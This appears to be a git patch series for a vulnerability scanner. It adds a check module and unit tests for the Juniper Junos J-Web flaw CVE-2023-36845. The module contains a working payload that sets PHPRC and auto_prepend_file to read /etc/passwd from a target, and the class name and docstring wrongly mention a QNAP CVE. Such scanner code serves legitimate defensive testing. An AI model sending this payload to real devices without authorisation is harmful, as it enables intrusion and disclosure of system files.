From 12729f30de35da1750aa28861dfffd445de99c69 Mon Sep 17 00:00:00 2001 From: ostorlab Date: Fri, 24 Nov 2023 18:22:52 +0100 Subject: [PATCH 1/3] CVE-2023-36845 --- agent/definitions.py | 1 + agent/exploits/cve_2023_36845.py | 101 ++++++++++++++++++++++++++ tests/exploits/cve_2023_36845_test.py | 58 +++++++++++++++ 3 files changed, 160 insertions(+) create mode 100644 agent/exploits/cve_2023_36845.py create mode 100644 tests/exploits/cve_2023_36845_test.py diff --git a/agent/definitions.py b/agent/definitions.py index 3934a6fb..066d44f7 100644 --- a/agent/definitions.py +++ b/agent/definitions.py @@ -11,6 +11,7 @@ class Target: scheme: str host: str port: int + path: str = "/" @dataclasses.dataclass diff --git a/agent/exploits/cve_2023_36845.py b/agent/exploits/cve_2023_36845.py new file mode 100644 index 00000000..308b36bc --- /dev/null +++ b/agent/exploits/cve_2023_36845.py @@ -0,0 +1,101 @@ +"""Agent Asteroid implementation for CVE-2023–36845""" +import re + +import requests +from ostorlab.agent.kb import kb +from ostorlab.agent.mixins import agent_report_vulnerability_mixin +from requests import exceptions as requests_exceptions + +from agent import definitions +from agent import exploits_registry + +VULNERABILITY_TITLE = "Juniper Junos OS EX Series and SRX Series PHP External Variable Modification Vulnerability" +VULNERABILITY_REFERENCE = "CVE-2023–36845" +VULNERABILITY_DESCRIPTION = ( + "A PHP External Variable Modification vulnerability in J-Web of Juniper Networks Junos OS " + "on EX Series and SRX Series allows an unauthenticated, network-based attacker to remotely execute code. " + "Using a crafted request which sets the variable PHPRC an attacker is able to modify the PHP execution environment " + "allowing the injection und execution of code. This issue affects Juniper Networks Junos OS on EX Series and SRX " + "Series: " + "* All versions prior to 20.4R3-S9; " + "* 21.1 versions 21.1R1 and later; " + "* 21.2 versions prior to 21.2R3-S7; " + "* 21.3 versions prior to 21.3R3-S5; " + "* 21.4 versions prior to 21.4R3-S5; * 22.1 versions prior to 22.1R3-S4; " + "* 22.2 versions prior to 22.2R3-S2; " + "* 22.3 versions prior to 22.3R2-S2, 22.3R3-S1; " + "* 22.4 versions prior to 22.4R2-S1, 22.4R3; " + "* 23.2 versions prior to 23.2R1-S1, 23.2R2." +) + +DEFAULT_TIMEOUT = 90 +JUNIPER_KEYWORD = "Juniper" +PASSWD_PATTERN = re.compile("root:.*:0:0:") +PAYLOAD = { + "auto_prepend_file": (None, "/etc/passwd\n"), + "PHPRC": (None, "/dev/fd/0"), +} + + +@exploits_registry.register +class CVE20197193Exploit(definitions.Exploit): + """ + CVE-2023–36845: QNAP QTS Improper Input Validation Vulnerability + """ + + def accept(self, target: definitions.Target) -> bool: + target_uri = f"{target.scheme}://{target.host}:{target.port}{target.path}" + try: + resp = requests.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT) + except requests_exceptions.RequestException: + return False + return resp.status_code == 200 and JUNIPER_KEYWORD in resp.text + + def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: + target_uri = f"{target.scheme}://{target.host}:{target.port}{target.path}" + + try: + resp = requests.post(target_uri, files=PAYLOAD, verify=False) + except requests_exceptions.RequestException: + return [] + + if PASSWD_PATTERN.search(resp.text) is None: + return [] + + vulnerability = self._create_vulnerability(target_uri) + return [vulnerability] + + def _create_vulnerability(self, target_uri: str) -> definitions.Vulnerability: + entry = kb.Entry( + title=VULNERABILITY_TITLE, + risk_rating="CRITICAL", + short_description=VULNERABILITY_DESCRIPTION, + description=VULNERABILITY_DESCRIPTION, + references={ + "nvd.nist.gov": f"https://nvd.nist.gov/vuln/detail/{VULNERABILITY_REFERENCE}", + "supportportal.juniper.net": "https://supportportal.juniper.net/s/article/" + "2023-08-Out-of-Cycle-Security-Bulletin-Junos-" + "OS-SRX-Series-and-EX-Series-Multiple-vulnerabilities-" + "in-J-Web-can-be-combined-to-allow-a-preAuth-Remote-Code-Execution", + }, + recommendation=( + "- Make sure to install the latest security patches from software vendor \n" + "- Update to the latest software version" + ), + security_issue=True, + privacy_issue=False, + has_public_exploit=True, + targeted_by_malware=True, + targeted_by_ransomware=True, + targeted_by_nation_state=True, + ) + technical_detail = ( + f"{target_uri} is vulnerable to {VULNERABILITY_REFERENCE}, " + f"{VULNERABILITY_TITLE}" + ) + vulnerability = definitions.Vulnerability( + entry=entry, + technical_detail=technical_detail, + risk_rating=agent_report_vulnerability_mixin.RiskRating.CRITICAL, + ) + return vulnerability diff --git a/tests/exploits/cve_2023_36845_test.py b/tests/exploits/cve_2023_36845_test.py new file mode 100644 index 00000000..dd592939 --- /dev/null +++ b/tests/exploits/cve_2023_36845_test.py @@ -0,0 +1,58 @@ +"""Unit tests for CVE-2023-36845""" +import requests_mock as req_mock +from agent.exploits import cve_2023_36845 +from agent import definitions + + +def testCVE202336845_whenVulnerable_reportFinding( + requests_mock: req_mock.mocker.Mocker, +) -> None: + """Unit test for CVE-2023-36845, case when target is vulnerable.""" + target = definitions.Target(scheme="http", host="127.0.0.1", port=8080) + exploit_instance = cve_2023_36845.CVE20197193Exploit() + requests_mock.post( + "http://127.0.0.1:8080/", + content=b"""root:*:0:0:Charlie &:/root:/bin/csh + daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin + operator:*:2:5:System &:/:/sbin/nologin + tty:*:4:65533:Tty Sandbox:/:/sbin/nologin + kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin + sshd:*:22:22:Secure Shell Daemon:/var/empty:/sbin/nologin + ext:*:39:39:External applications:/:/sbin/nologin + bind:*:53:53:Bind Sandbox:/:/sbin/nologin + uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/sbin/nologin + nobody:*:65534:65534:Unprivileged user:/nonexistent:/sbin/nologin + 33768:*:100:20::/var/home/33768:/usr/sbin/cli + jforce:*:2000:20::/var/home/jforce:/usr/sbin/cli + jmay:*:2001:20::/var/home/jmay:/usr/sbin/cli + page();""", + ) + + vulnerabilities = exploit_instance.check(target) + vulnerability = vulnerabilities[0] + + assert ( + vulnerability.entry.title + == "Juniper Junos OS EX Series and SRX Series PHP External Variable Modification Vulnerability" + ) + assert vulnerability.technical_detail == ( + "http://127.0.0.1:8080/ is vulnerable to CVE-2023–36845, Juniper Junos OS " + "EX Series and SRX Series PHP External Variable Modification Vulnerability" + ) + assert vulnerability.risk_rating.name == "CRITICAL" + + +def testCVE202336845_whenSafe_reportNothing( + requests_mock: req_mock.mocker.Mocker, +) -> None: + """Unit test for CVE-2023-36845, case when target is safe.""" + target = definitions.Target(scheme="http", host="127.0.0.1", port=8080) + exploit_instance = cve_2023_36845.CVE20197193Exploit() + requests_mock.post( + "http://127.0.0.1:8080/", + content=b"JUNIPER VPN LOGIN", + ) + + vulnerabilities = exploit_instance.check(target) + + assert len(vulnerabilities) == 0 From 276d159c28eb5500a117d0527db87f5d64abcf24 Mon Sep 17 00:00:00 2001 From: ostorlab Date: Fri, 24 Nov 2023 18:27:56 +0100 Subject: [PATCH 2/3] linting --- agent/exploits/cve_2023_36845.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/agent/exploits/cve_2023_36845.py b/agent/exploits/cve_2023_36845.py index 308b36bc..ad40a476 100644 --- a/agent/exploits/cve_2023_36845.py +++ b/agent/exploits/cve_2023_36845.py @@ -55,7 +55,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: target_uri = f"{target.scheme}://{target.host}:{target.port}{target.path}" try: - resp = requests.post(target_uri, files=PAYLOAD, verify=False) + resp = requests.post(target_uri, files=PAYLOAD, verify=False, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return [] From 1a82c72b9cde9f5f30a146cf9cb9fca3a3cf28ba Mon Sep 17 00:00:00 2001 From: ostorlab Date: Fri, 24 Nov 2023 18:30:18 +0100 Subject: [PATCH 3/3] Black! --- agent/exploits/cve_2023_36845.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/agent/exploits/cve_2023_36845.py b/agent/exploits/cve_2023_36845.py index ad40a476..4f7c545e 100644 --- a/agent/exploits/cve_2023_36845.py +++ b/agent/exploits/cve_2023_36845.py @@ -55,7 +55,9 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: target_uri = f"{target.scheme}://{target.host}:{target.port}{target.path}" try: - resp = requests.post(target_uri, files=PAYLOAD, verify=False, timeout=DEFAULT_TIMEOUT) + resp = requests.post( + target_uri, files=PAYLOAD, verify=False, timeout=DEFAULT_TIMEOUT + ) except requests_exceptions.RequestException: return []